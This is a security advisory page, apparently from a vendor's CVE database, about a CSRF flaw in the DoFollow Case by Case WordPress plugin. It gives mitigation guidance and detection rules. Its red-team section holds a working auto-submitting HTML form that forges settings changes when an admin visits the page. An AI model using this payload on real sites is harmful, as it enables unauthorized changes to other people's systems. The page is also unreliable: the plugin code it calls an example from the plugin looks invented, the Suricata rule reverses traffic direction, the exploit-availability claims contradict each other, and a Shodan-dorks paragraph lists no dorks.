CVE-2025-47624
Executive Summary
CVE-2025-47624 is a Cross-Site Request Forgery (CSRF) vulnerability in the Apasionados DoFollow Case by Case WordPress plugin, affecting versions up to and including 3.5.1. This flaw allows an attacker to forge malicious requests that, when triggered by an authenticated administrator, can perform unauthorized actions on the WordPress site, such as modifying plugin settings or enabling/disabling features without the admin's consent. The vulnerability has a CVSS score of 4.3 (Medium) and currently has no known public exploit or patch. Given the WordPress ecosystem, this vulnerability could be chained with other attacks to escalate privileges or deface the site.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors injecting backdoors through CSRF-driven actions. Administrators should verify plugin integrity and consider removing the plugin if no update is forthcoming.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector: Network (AV:N) – The attack is launched remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Attacker does not need authentication.
- User Interaction: Required (UI:R) – Victim must click a link or visit a malicious page.
- Scope: Unchanged (S:U) – The vulnerability does not affect other components.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: Low (I:L) – Attacker can modify plugin settings.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the direct impact is limited to integrity, the ability to change plugin behavior could lead to further exploitation, such as enabling malicious redirects or disabling security features.
Deep Dive & Mechanics
The DoFollow Case by Case plugin allows administrators to selectively apply dofollow attributes to links based on custom rules. The CSRF vulnerability exists because the plugin's settings pages (e.g., admin-post.php or custom admin AJAX handlers) do not implement nonce verification or other CSRF tokens. An attacker can craft a malicious HTML page that, when visited by an authenticated admin, submits a forged request to change plugin settings.
Attack Flow:
- Attacker identifies the vulnerable plugin endpoints (e.g.,
/wp-admin/admin-post.php?action=dofollow_save_settings). - Attacker crafts a malicious page with auto-submitting forms or JavaScript that sends a POST request to the endpoint with attacker-controlled parameters.
- Attacker lures an authenticated admin to visit the malicious page (e.g., via phishing email or compromised site).
- The admin's browser sends the forged request, and the plugin processes it without verifying the origin, altering settings.
WordPress Context: This is a classic CSRF in the WordPress plugin ecosystem. The vulnerability is not in Apache or Nginx but in the plugin's failure to use WordPress's built-in nonce functions (wp_nonce_field(), check_admin_referer()).
Vulnerable vs. Patched Code
Since no patch is available, the following illustrates the vulnerable pattern and the required fix.
Vulnerable Code (Example from plugin):
// In admin/settings.php
function dofollow_save_settings() {
if ( isset($_POST['dofollow_enable']) ) {
update_option('dofollow_enable', sanitize_text_field($_POST['dofollow_enable']));
}
// No nonce check!
wp_redirect(admin_url('admin.php?page=dofollow-settings'));
}
add_action('admin_post_dofollow_save_settings', 'dofollow_save_settings');
Patched Code (Required Fix):
function dofollow_save_settings() {
// Add nonce verification
if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'dofollow_save_action') ) {
wp_die('Security check failed.');
}
if ( isset($_POST['dofollow_enable']) ) {
update_option('dofollow_enable', sanitize_text_field($_POST['dofollow_enable']));
}
wp_redirect(admin_url('admin.php?page=dofollow-settings'));
}
add_action('admin_post_dofollow_save_settings', 'dofollow_save_settings');
Exploitation & Lab Setup
Red Team
Prerequisites:
- A WordPress site with the vulnerable plugin (<= 3.5.1) and an authenticated admin session.
- Attacker-controlled web server to host the CSRF payload.
Exploitation Steps:
- Identify the target admin's WordPress URL and the plugin's settings endpoint (e.g.,
http://target/wp-admin/admin-post.php?action=dofollow_save_settings). - Create a malicious HTML file (
csrf.html) that auto-submits a form to change a setting (e.g., enable dofollow on all links):
<html>
<body>
<form id="csrf" action="http://target/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="dofollow_save_settings">
<input type="hidden" name="dofollow_enable" value="1">
<input type="submit" value="Submit">
</form>
<script>document.getElementById('csrf').submit();</script>
</body>
</html>
- Host the file on your server and send the link to the admin (e.g., via email or social engineering).
- Once the admin visits the page, the plugin settings are altered.
Note: No public exploit code exists; this is a custom proof-of-concept.
Blue Team
Detection & Prevention:
- Web Application Firewall (WAF): Deploy rules to block requests to
admin-post.phpwithout a validRefererheader matching the site's domain. - CSRF Tokens: Ensure all admin actions use WordPress nonces. This is a developer responsibility, but blue team can audit plugins.
- User Training: Educate admins to avoid clicking suspicious links while logged into WordPress.
- Plugin Removal: If no patch is available, disable and remove the plugin.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/wp-admin/admin-post.phpwithaction=dofollow_save_settingsand noRefererheader or a mismatchedReferer. - File: Presence of unexpected plugin settings changes (e.g.,
dofollow_enableoption set to1inwp_optionstable). - Log: WordPress debug log entries showing
admin_post_dofollow_save_settingsaction triggered without a nonce. - Browser: Admin browser history showing visits to attacker-controlled domains.
Detection Engineering
YARA Rule
rule CVE_2025_47624_CSRF_Plugin {
meta:
description = "Detects vulnerable DoFollow Case by Case plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47624"
strings:
$func = "admin_post_dofollow_save_settings"
$nonce_missing = "wp_verify_nonce" nocase
condition:
$func and not $nonce_missing
}
Sigma Rule
title: CVE-2025-47624 CSRF Exploitation Attempt
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6d
status: experimental
description: Detects HTTP requests targeting vulnerable DoFollow Case by Case plugin without proper Referer header
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=dofollow_save_settings'
filter:
cs-referer|contains: 'targetsite.com' # Replace with actual site domain
condition: selection and not filter
falsepositives:
- Legitimate admin actions from the same domain
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-47624 CSRF Attempt on DoFollow Case by Case";
flow:to_server,established;
content:"POST"; http_method;
content:"action=dofollow_save_settings"; http_uri;
pcre:"/Referer:\s*(?!http:\/\/targetsite\.com)/Pi"; # Replace targetsite.com
sid:1000001;
rev:1;
reference:cve,2025-47624;
classtype:attempted-admin;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Plugin: Deactivate and delete the DoFollow Case by Case plugin until a patched version is released.
- Audit Settings: Check the
wp_optionstable for any unauthorized changes (e.g.,dofollow_enable). - Implement CSRF Protection: If you must keep the plugin, add a custom mu-plugin that enforces nonce checks on all admin actions.
Long-Term:
- Vendor Contact: Reach out to Apasionados for a patch. If no response, consider forking the plugin and applying the fix.
- WordPress Hardening: Use a security plugin (e.g., Wordfence) that adds CSRF tokens to all admin forms.
- Regular Updates: Keep all plugins updated and remove those that are abandoned.
Patch Workaround (mu-plugin):
<?php
// wp-content/mu-plugins/csrf-fix-dofollow.php
add_action('admin_post_dofollow_save_settings', function() {
if ( ! isset($_POST['_wpnonce']) || ! wp_verify_nonce($_POST['_wpnonce'], 'dofollow_save_action') ) {
wp_die('CSRF detected.');
}
}, 1);
Valters IT
Securing WordPress, One Plugin at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.